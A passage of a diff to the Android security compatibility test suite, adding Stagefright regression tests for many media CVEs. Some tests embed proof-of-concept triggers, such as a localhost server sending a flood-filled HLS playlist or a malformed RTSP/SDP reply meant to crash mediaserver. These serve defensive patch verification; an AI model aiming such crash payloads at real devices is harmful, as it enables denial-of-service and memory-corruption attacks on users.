+ + "#EXTM3U\n#EXT-X-STREAM-INF:\n").getBytes();
+ stream.write(http);
+ while(!conn.isClosed())
+ stream.write(("a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+ + "a\na\na\na\na\na\na\na\n").getBytes());
+ }
+ catch(IOException e){
+ }
+ }
+ };
+ server.start();
+ String uri = "http://127.0.0.1:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/"
+ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.m3u8";
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ mp.setDataSource(uri);
+ mp.prepareAsync();
+ } catch (IOException e) {
+ Log.e(TAG, e.toString());
+ } finally {
+ closeQuietly(fd);
+ }
+
+ Looper.loop();
+ mp.release();
+ }
+ });
+ t.start();
+ Thread.sleep(60000); // Poc takes a while to crash mediaserver, waitForError
+ // doesn't wait long enough
+ assertFalse("Device *IS* vulnerable to CVE-2017-13279",
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join(); // wait for thread to exit so we're sure the player was released
+ server.join();
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
public void testStagefright_cve_2017_13276() throws Exception {
doStagefrightTest(R.raw.cve_2017_13276);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-12")
public void testStagefright_cve_2016_6764() throws Exception {
doStagefrightTest(R.raw.cve_2016_6764, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testStagefright_cve_2017_13214() throws Exception {
doStagefrightTest(R.raw.cve_2017_13214);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
public void testStagefright_bug_35467107() throws Exception {
doStagefrightTest(R.raw.bug_35467107, new CrashUtils.Config().checkMinAddress(false));
}
@@ -782,23 +1253,396 @@
before any existing test methods
***********************************************************/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testStagefright_cve_2018_9474() throws Exception {
+ MediaPlayer mp = new MediaPlayer();
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(R.raw.cve_2018_9474);
+
+ mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ mp.prepare();
+
+ MediaPlayer.TrackInfo[] trackInfos = mp.getTrackInfo();
+ if (trackInfos == null || trackInfos.length == 0) {
+ return;
+ }
+
+ MediaPlayer.TrackInfo trackInfo = trackInfos[0];
+
+ int trackType = trackInfo.getTrackType();
+ MediaFormat format = trackInfo.getFormat();
+
+ Parcel data = Parcel.obtain();
+ trackInfo.writeToParcel(data, 0);
+
+ data.setDataPosition(0);
+ int trackTypeFromParcel = data.readInt();
+ String mimeTypeFromParcel = data.readString();
+ data.recycle();
+
+ if (trackType == trackTypeFromParcel) {
+ assertFalse("Device *IS* vulnerable to CVE-2018-9474",
+ mimeTypeFromParcel.equals("und"));
+ }
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_2108() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
+ new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+ CrashUtils.SIGABRT));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-09")
+ public void testStagefright_cve_2016_3880() throws Exception {
+ Thread server = new Thread() {
+ @Override
+ public void run() {
+ try (ServerSocket serverSocket = new ServerSocket(8080) {
+ {setSoTimeout(10_000);} // time out after 10 seconds
+ };
+ Socket conn = serverSocket.accept()
+ ) {
+ OutputStream outputstream = conn.getOutputStream();
+ InputStream inputStream = conn.getInputStream();
+ byte input[] = new byte[65536];
+ inputStream.read(input, 0, 65536);
+ String inputStr = new String(input);
+ if (inputStr.contains("DESCRIBE rtsp://127.0.0.1:8080/cve_2016_3880")) {
+ byte http[] = ("RTSP/1.0 200 OK\r\n"
+ + "Server: stagefright/1.2 (Linux;Android 9)\r\n"
+ + "Content-Type: application/sdp\r\n"
+ + "Content-Base: rtsp://127.0.0.1:8080/cve_2016_3880\r\n"
+ + "Content-Length: 379\r\n"
+ + "Cache-Control: no-cache\r\nCSeq: 1\r\n\r\n").getBytes();
+
+ byte sdp[] = ("v=0\r\no=- 64 233572944 IN IP4 127.0.0.0\r\n"
+ + "s=QuickTime\r\nt=0 0\r\na=range:npt=now-\r\n"
+ + "m=video 5434 RTP/AVP 96123456\r\nc=IN IP4 127.0.0.1\r\n"
+ + "b=AS:320000\r\na=rtpmap:96123456 H264/90000\r\n"
+ + "a=fmtp:96123456 packetization-mode=1;profile-level-id=42001E;"
+ + "sprop-parameter-sets=Z0IAHpZUBaHogA==,aM44gA==\r\n"
+ + "a=cliprect:0,0,480,270\r\na=framesize:96123456 720-480\r\n"
+ + "a=control:track1\r\n").getBytes();
+
+ outputstream.write(http);
+ outputstream.write(sdp);
+ outputstream.flush();
+ }
+ } catch (IOException e) {
+ }
+ }
+ };
+ server.start();
+ String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ mp.setDataSource(uri);
+ mp.prepareAsync();
+ } catch (IOException e) {
+ Log.e(TAG, e.toString());
+ } finally {
+ closeQuietly(fd);
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ t.start();
+ assertFalse("Device *IS* vulnerable to CVE-2016-3880",
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join();
+ server.join();
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "Unknown")
+ public void testStagefright_bug170240631() throws Exception {
+ doStagefrightTest(R.raw.bug170240631_ts);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-05")
+ public void testStagefright_cve_2020_3641() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3641);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void testStagefright_cve_2019_14127() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14127);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void testStagefright_cve_2019_14132() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14132);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_10591() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10591);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-02")
+ public void testStagefright_cve_2019_10590() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10590);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14004() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14004);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14003() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14003);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-02")
+ public void testStagefright_cve_2019_14057() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14057);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10532() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10532);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10578() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10578);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_14061() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14061, 180000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10611() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10611);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-08")
+ public void testStagefright_cve_2019_10489() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10489);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_14048() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14048);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testStagefright_cve_2019_2253() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2253);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10579() throws Exception {
+ doStagefrightTestANR(R.raw.cve_2019_10579);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14005() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14005);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14006() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14006);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_CVE_2019_14016() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14016);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_CVE_2019_14017() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14017);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_9412() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_9412, 180000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testStagefright_cve_2019_2334() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2334);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_10534() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10534);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_10533() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10533);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_10541() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10541);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-02")
+ public void testStagefright_cve_2017_13233() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2017_13233_hevc, "video/hevc", 640,
+ 480);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testStagefright_cve_2019_2106() throws Exception {
+ int[] frameSizes = {943, 3153};
+ doStagefrightTestRawBlob(R.raw.cve_2019_2106_hevc, "video/hevc", 320,
+ 240, frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
+ public void testStagefright_cve_2017_0637() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0637, 2 * 72000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testStagefright_cve_2018_11287() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_11287, 180000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testStagefright_cve_2019_2327() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2327);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testStagefright_cve_2019_2322() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2322);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testStagefright_cve_2019_2259() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2259);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
+ public void testStagefright_cve_2017_13204() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.cve_2017_13204_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2017_13204_avc, "video/avc", 16, 16, frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-03")
+ public void testStagefright_cve_2017_17773() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_17773);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testStagefright_cve_2017_18074() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_18074);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void testStagefright_cve_2018_5894() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5894);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5874() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5874);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5875() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5875);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5876() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5876);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_5882() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_5882);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-12")
public void testBug_65186291() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_65186291_framelen);
doStagefrightTestRawBlob(R.raw.bug_65186291_hevc, "video/hevc", 1920, 1080, frameSizes);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testBug_67737022() throws Exception {
doStagefrightTest(R.raw.bug_67737022);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_37093318() throws Exception {
doStagefrightTest(R.raw.bug_37093318, (4 * 60 * 1000));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-05")
public void testStagefright_bug_73172046() throws Exception {
doStagefrightTest(R.raw.bug_73172046);
@@ -810,36 +1654,90 @@
}
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-03")
public void testStagefright_cve_2016_0824() throws Exception {
doStagefrightTest(R.raw.cve_2016_0824);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-03")
public void testStagefright_cve_2016_0815() throws Exception {
doStagefrightTest(R.raw.cve_2016_0815);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-05")
public void testStagefright_cve_2016_2454() throws Exception {
doStagefrightTest(R.raw.cve_2016_2454);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-12")
public void testStagefright_cve_2016_6765() throws Exception {
doStagefrightTest(R.raw.cve_2016_6765, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-07")
public void testStagefright_cve_2016_2508() throws Exception {
doStagefrightTest(R.raw.cve_2016_2508, new CrashUtils.Config().checkMinAddress(false));
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2016-11")
public void testStagefright_cve_2016_6699() throws Exception {
doStagefrightTest(R.raw.cve_2016_6699);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void testStagefright_cve_2017_18155() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_18155);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_9423() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_9423);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-09")
+ public void testStagefright_cve_2016_3879() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testStagefright_xaac_not_present() throws Exception {
+ // ensure that the xaac codec is not present
+ MediaCodec codec;
+ String names[] = new String[] { "c2.android.xaac.decoder", "OMX.google.xaac.decoder" };
+ for (String name : names) {
+ Log.w(TAG, "trying to create codec: " + name);
+ try {
+ codec = MediaCodec.createByCodecName(name);
+ fail("not allowed to createByCodecName() for " + name);
+ } catch (IllegalArgumentException e) {
+ // expected
+ Log.w(TAG, "correctly unable to instantiate code for " + name);
+ }
+ }
+ }
+
+ /***********************************************************
+ to prevent merge conflicts, add P tests below this comment,
+ before any existing test methods
+ ***********************************************************/
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-12")
+ public void testStagefright_cve_2019_2222() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
private void doStagefrightTest(final int rid) throws Exception {
doStagefrightTest(rid, null);
}
@@ -855,7 +1753,6 @@
String rname = resources.getResourceEntryName(rid);
String url = server.getAssetUrl("raw/" + rname);
verifyServer(rid, url);
-
doStagefrightTestMediaPlayer(url, config);
doStagefrightTestMediaCodec(url, config);
doStagefrightTestMediaMetadataRetriever(url, config);
@@ -1048,15 +1945,15 @@
SystemClock.sleep(1000);
}
if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
- JSONArray crashes = getCrashReport(getName(), 5000);
+ JSONArray crashes = getCrashReport(name.getMethodName(), 5000);
if (crashes == null) {
- Log.e(TAG, "Crash results not found for test " + getName());
+ Log.e(TAG, "Crash results not found for test " + name.getMethodName());
return what;
} else if (CrashUtils.securityCrashDetected(crashes, config)) {
return what;
} else {
Log.i(TAG, "Crash ignored due to no security crash found for test " +
- getName());
+ name.getMethodName());
// 0 is the code for no error.
return 0;
}
@@ -1183,6 +2080,79 @@
t.join(); // wait for thread to exit so we're sure the player was released
}
+ /*
+ * b/135207745
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-08")
+ public void testStagefright_cve_2019_2129() throws Exception {
+ final int rid = R.raw.cve_2019_2129;
+ String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+ Log.i(TAG, "start mediaplayer test for: " + name);
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener() {
+ @Override
+ public void onPrepared(MediaPlayer mp) {
+ super.onPrepared(mp);
+ mp.setLooping(true);
+ }
+ };
+
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ fd = getInstrumentation().getContext().getResources().openRawResourceFd(rid);
+ mp.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
+ @Override
+ public void onTimedText(MediaPlayer p, TimedText text) {
+ if (text != null) {
+ Log.d(TAG, "text = " + text.getText());
+ }
+ }
+ });
+ mp.setDataSource(fd.getFileDescriptor(),
+ fd.getStartOffset(),
+ fd.getLength());
+ // keep the original as in poc by not using prepareAsync
+ mp.prepare();
+ mp.selectTrack(2);
+ } catch (Exception e) {
+ Log.e(TAG, "Exception is caught " + e.getMessage());
+ e.printStackTrace();
+ } finally {
+ closeQuietly(fd);
+ }
+
+ try {
+ // here to catch & swallow the runtime crash in exception
+ // after the place where original poc failed in
+ // java.lang.IllegalArgumentException: parseParcel()
+ // which is beyond test control.
+ Looper.loop();
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Exception is caught on Looper.loop() " + e.getMessage());
+ e.printStackTrace();
+ }
+ mp.release();
+ }
+ });
+
+ t.start();
+ String cve = name.replace("_", "-").toUpperCase();
+ assertFalse("Device *IS* vulnerable to " + cve,
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join(); // wait for thread to exit so we're sure the player was released
+ }
+
private void doStagefrightTestMediaCodec(final int rid) throws Exception {
doStagefrightTestMediaCodec(rid, null, null);
}
@@ -1460,40 +2430,58 @@
thr.join();
}
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testBug36215950() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_36215950, "video/hevc", 320, 240);
}
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testBug36816007() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240,
new CrashUtils.Config().checkMinAddress(false));
}
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
public void testBug36895511() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240,
new CrashUtils.Config().checkMinAddress(false));
}
+ @Test
+ @SecurityTest(minPatchLevel = "2017-11")
public void testBug64836894() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_64836894, "video/avc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testCve_2017_0687() throws Exception {
doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
+ public void testCve_2017_0696() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2017_0696, "video/avc", 320, 240);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-01")
public void testBug_37930177() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_37930177_hevc, "video/hevc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-08")
public void testBug_37712181() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_37712181_hevc, "video/hevc", 320, 240);
}
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
public void testBug_70897394() throws Exception {
doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240,
new CrashUtils.Config().checkMinAddress(false));
@@ -1658,7 +2646,8 @@
private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
int frameSizes[]) throws Exception {
- doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, null);
+ // check crash address by default
+ doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, new CrashUtils.Config());
}
private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
@@ -1847,4 +2836,77 @@
t.stopLooper();
t.join(); // wait for thread to exit so we're sure the player was released
}
+
+ private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
+ doStagefrightTestExtractorSeek(rid, offset, new CrashUtils.Config()); // check crash address by default
+ }
+
+ private void doStagefrightTestExtractorSeek(final int rid, final long offset,
+ CrashUtils.Config config) throws Exception {
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
+ LooperThread thr = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ try {
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(R.raw.good);
+ mp.setDataSource(fd.getFileDescriptor(),
+ fd.getStartOffset(),
+ fd.getLength());
+ fd.close();
+ } catch (Exception e) {
+ fail("setDataSource of known-good file failed");
+ }
+ synchronized(mpcl) {
+ mpcl.notify();
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ thr.start();
+ synchronized(mpcl) {
+ mpcl.wait();
+ }
+ Resources resources = getInstrumentation().getContext().getResources();
+ MediaExtractor ex = new MediaExtractor();
+ AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+ try {
+ ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ } catch (IOException e) {
+ } finally {
+ closeQuietly(fd);
+ }
+ int numtracks = ex.getTrackCount();
+ String rname = resources.getResourceEntryName(rid);
+ Log.i(TAG, "start mediaextractor test for: " + rname + ", which has " + numtracks + " tracks");
+ for (int t = 0; t < numtracks; t++) {
+ try {
+ ex.selectTrack(t);
+ } catch (IllegalArgumentException e) {
+ Log.w(TAG, "couldn't select track " + t);
+ }
+ ex.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ ex.advance();
+ ex.seekTo(offset, MediaExtractor.SEEK_TO_NEXT_SYNC);
+ try
+ {
+ ex.unselectTrack(t);
+ }
+ catch (Exception e) {
+ }
+ }
+ ex.release();
+ String cve = rname.replace("_", "-").toUpperCase();
+ assertFalse("Device *IS* vulnerable to " + cve,
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ thr.stopLooper();
+ thr.join();
+ }
+
+ private Instrumentation getInstrumentation() {
+ return mInstrumentation;
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 8d388cc..a3209fc 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -21,7 +21,6 @@
import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
import com.android.compatibility.common.util.PropertyUtil;
-import com.android.compatibility.common.util.CddTest;
@SecurityTest
public class VerifiedBootTest extends AndroidTestCase {
@@ -43,7 +42,6 @@
* A device without the feature flag android.hardware.ram.normal is exempt if
* it launched on a pre-P level.
*/
- @CddTest(requirement="9.10/C-1-1,C-2-1")
public void testVerifiedBootSupport() throws Exception {
if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
return;
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index ef9316f..d0afec0 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -39,7 +39,7 @@
}
//Testing security bug: 30229821
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-03")
public void testVisualizer_MalformedConstructor() throws Exception {
final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
final int VISUALIZER_CMD_MEASURE = 0x10001;
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index fc28247..5368e93 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
